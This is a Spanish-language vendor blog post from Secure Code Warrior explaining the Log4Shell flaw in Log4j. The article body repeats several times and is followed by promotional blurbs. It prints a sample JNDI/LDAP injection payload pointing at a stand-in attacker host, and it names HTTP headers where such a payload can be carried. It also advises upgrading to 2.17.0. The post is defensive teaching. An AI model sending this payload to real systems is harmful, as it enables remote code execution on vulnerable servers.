La vulnerabilidad de Log4j explicada - Su vector de ataque y cómo prevenirla
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
En diciembre de 2021, se reveló una vulnerabilidad de seguridad crítica Log4Shell en la biblioteca Java Log4j. En este artículo, desglosamos la vulnerabilidad Log4Shell de la forma más sencilla para que entiendas lo básico y te presentamos una misión: un campo de juego en el que puedes intentar explotar un sitio web simulado utilizando los conocimientos de esta vulnerabilidad.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Haga clic en el siguiente enlace y descargue el PDF de este recurso.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Ver el informeReservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Índice
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostraciónDescargarRecursos para empezar
Evaluación comparativa de las competencias en materia de seguridad: optimización del diseño seguro en la empresa
El movimiento Secure-by-Design es el futuro del desarrollo de software seguro. Conozca los elementos clave que las empresas deben tener en cuenta cuando piensan en una iniciativa Secure-by-Design.
DigitalOcean reduce su deuda de seguridad con Secure Code Warrior
El uso por parte de DigitalOcean de la formación Secure Code Warrior ha reducido significativamente la deuda de seguridad, permitiendo a los equipos centrarse más en la innovación y la productividad. La mejora de la seguridad ha reforzado la calidad de sus productos y su ventaja competitiva. De cara al futuro, SCW Trust Score les ayudará a seguir mejorando las prácticas de seguridad y a continuar impulsando la innovación.
Recursos para empezar
La puntuación de confianza revela el valor de las iniciativas de mejora de la seguridad mediante el diseño
Nuestra investigación ha demostrado que la formación en código seguro funciona. Trust Score, que utiliza un algoritmo basado en más de 20 millones de puntos de datos de aprendizaje procedentes del trabajo de más de 250 000 alumnos en más de 600 organizaciones, revela su eficacia a la hora de reducir las vulnerabilidades y cómo hacer que la iniciativa sea aún más eficaz.
.png)
Seguridad reactiva frente a seguridad preventiva: Prevenir es mejor que curar
La idea de introducir la seguridad preventiva en el código y los sistemas heredados al mismo tiempo que en las aplicaciones más recientes puede parecer desalentadora, pero un planteamiento basado en el diseño seguro, aplicado mediante la mejora de las competencias de los desarrolladores, puede aplicar las mejores prácticas de seguridad a esos sistemas. Es la mejor oportunidad que tienen muchas organizaciones de mejorar su seguridad.
Ventajas de la evaluación comparativa de las competencias de seguridad de los desarrolladores
La creciente atención que se presta al código seguro y a los principios del diseño seguro exige que los desarrolladores reciban formación en ciberseguridad desde el principio del proceso de desarrollo de software, con herramientas como Secure Code Warrior's Trust Score, que ayudan a medir y mejorar sus progresos.
Impulsando iniciativas de seguridad por diseño para empresas con éxito significativo
Nuestro último documento de investigación, Benchmarking Security Skills: Streamlining Secure-by-Design in the Enterprise, es el resultado de un análisis profundo de iniciativas reales de Secure-by-Design a nivel empresarial y de la derivación de enfoques de mejores prácticas basados en hallazgos basados en datos.
Codificación orientada al desarrollador.
Con seguridad.
Póngase en contacto con nosotros hoy mismo y haga de la seguridad del software una parte intrínseca de su proceso de desarrollo.
